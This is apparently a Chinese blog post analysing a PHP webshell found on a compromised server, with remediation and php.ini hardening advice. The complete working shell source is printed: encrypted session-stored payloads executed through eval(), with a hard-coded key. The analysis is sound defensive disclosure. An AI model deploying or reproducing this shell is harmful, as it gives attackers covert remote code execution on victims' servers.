【PHP】PHP WebShell(网页木马)分析

前几天,收到某台服务器异常警告,在附件文件夹中发现了一个异常上传的php文件,和大家分享一下文件内容,注意服务器安全。

源代码文件名:e9b94bd64ae7e66c5988e07d29e21c3d.php

php 复制代码
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encryption($data, $mode,$key) {
    $result = false;
    $iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
    $blocksize = 16;
    $size = strlen($data)%16;
    if (function_exists("openssl_encrypt") && $mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @openssl_encrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        } else if (!$size){
            $result = @openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING,$iv);
        }
    } else if (function_exists("mcrypt_encrypt")&&$mode<2) {
        if ($mode == 1) {
            $pad = $blocksize - (strlen($data) % $blocksize);
            $data.= str_repeat(chr($pad), $pad);
            $result = @mcrypt_encrypt("rijndael-128", $key, $data, "ecb", $iv);
        } else if (!$size){
            $result = @mcrypt_decrypt("rijndael-128", $key, $data, "ecb", $iv);
        }
    }
    if (!$result)
    {
        $len = strlen($data);
        $keyLen = strlen($key);
        $index = 0;
        for ($i = 1; $i <= $len; $i++) {
            $index = $i - 1;
            $data[$index] = $data[$index] ^ $key[($i % $keyLen)];
        }
        return $data;
    }
    if ($mode == 0) {
        $pad = ord($result {
        strlen($result) - 1
        });
        if ($pad > strlen($result)) return false;
        if (strspn($result, chr($pad), strlen($result) - $pad) != $pad) return false;
        $result = substr($result, 0, -1 * $pad);
    }
    return $result;
}

$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
if (isset($_POST[$pass])) {
    $data = base64_decode($_POST[$pass]);
    if (isset($_SESSION[$payloadName])) {
        $payload = encryption($_SESSION[$payloadName],0, $key);
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encryption($_SESSION[$payloadName],0, $key);
        }
        $data = encryption($data,0, $key);
        eval($payload);
        echo substr(md5($pass.$key), 0, 16);
        echo base64_encode(encryption(@run($data),1,$key));
        echo substr(md5($pass.$key), 16);
    } else {
        $data = encryption($data,2,$key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data,1, $key);
        }
    }
}

这段代码是一个典型的 PHP WebShell(网页木马),用于远程控制服务器。它通过加密通信和会话存储实现隐蔽的代码执行。以下是详细分析:


核心功能

  1. 加密通信:使用 AES-128-ECB 对传输的数据进行加密,避免明文特征被检测
  2. 会话持久化 :将恶意代码(payload)存储在 $_SESSION 中,实现无文件落地执行
  3. 动态代码执行 :通过 eval() 执行攻击者发送的任意 PHP 代码
  4. 双向验证:通过 MD5 校验和确认通信完整性

代码流程解析

初始化
php 复制代码
@session_start();          // 开启会话存储payload
@set_time_limit(0);        // 取消执行时间限制
@error_reporting(0);       // 屏蔽错误信息,隐藏痕迹
加密函数(关键)
php 复制代码
function encryption($data, $mode, $key) {
    // 优先使用 openssl,备选 mcrypt,最后降级为异或
    // $mode: 0=解密, 1=加密, 2=异或解密
}
主逻辑
php 复制代码
$pass = 'pass';                    // 通信密码
$payloadName = 'payload';          // 会话变量名
$key = '3c6e0b8a9c15224a';         // 硬编码的16字节密钥

if (isset($_POST[$pass])) {        // 接收POST参数"pass"
    
    // 第一次请求:上传payload
    if (!isset($_SESSION[$payloadName])) {
        $data = encryption(base64_decode($_POST[$pass]), 2, $key);
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encryption($data, 1, $key); // 加密存入session
        }
    } 
    // 后续请求:执行命令
    else {
        $payload = encryption($_SESSION[$payloadName], 0, $key); // 从session解密payload
        $data = encryption(base64_decode($_POST[$pass]), 0, $key); // 解密命令数据
        eval($payload);                                          // 执行payload
        echo md5校验和 + base64_encode(加密结果) + md5校验和;     // 返回加密数据
    }
}

通信特征

请求示例

http 复制代码
POST /shell.php HTTP/1.1
pass=base64_encode(加密数据)

响应格式

复制代码
[前16位MD5][base64加密结果][后16位MD5]

典型用途

攻击者可利用此木马实现:

  • 文件操作(上传/下载/删除)
  • 命令执行(system(), exec()
  • 数据库操作
  • 内网渗透
  • 安装后门程序

安全警告

⚠️ 法律风险 :使用、传播或部署此类代码违反《网络安全法》等法规,可能导致刑事责任

⚠️ 检测难点 :加密流量+无文件特征,传统IDS/IPS难以检测

⚠️ 处置建议

  1. 立即删除可疑文件
  2. 检查 $_SESSION 存储路径清理残留
  3. 审计服务器访问日志
  4. 修改所有密码,排查系统漏洞
  5. 使用 php.ini 禁用 eval() 等危险函数

防御措施

ini 复制代码
; php.ini配置
disable_functions = eval,exec,shell_exec,system,passthru
open_basedir = /var/www/html
session.save_path = /tmp/sessions  ; 限制session目录权限

该木马属于 "内存马" 的变种,通过加密和会话机制实现高级隐蔽性,是常见的网站攻击工具。

相关推荐
阿巴斯甜7 小时前
Android 报错:Zip file '/Users/lyy/develop/repoAndroidLapp/l-app-android-ble/app/bu
android
Kapaseker8 小时前
实战 Compose 中的 IntrinsicSize
android·kotlin
xq95279 小时前
Andorid Google 登录接入文档
android
黄林晴10 小时前
告别 Modifier 地狱,Compose 样式系统要变天了
android·android jetpack
BingoGo11 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack11 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
冬奇Lab1 天前
Android触摸事件分发、手势识别与输入优化实战
android·源码阅读
城东米粉儿1 天前
Android MediaPlayer 笔记
android
Jony_1 天前
Android 启动优化方案
android
阿巴斯甜1 天前
Android studio 报错:Cause: error=86, Bad CPU type in executable
android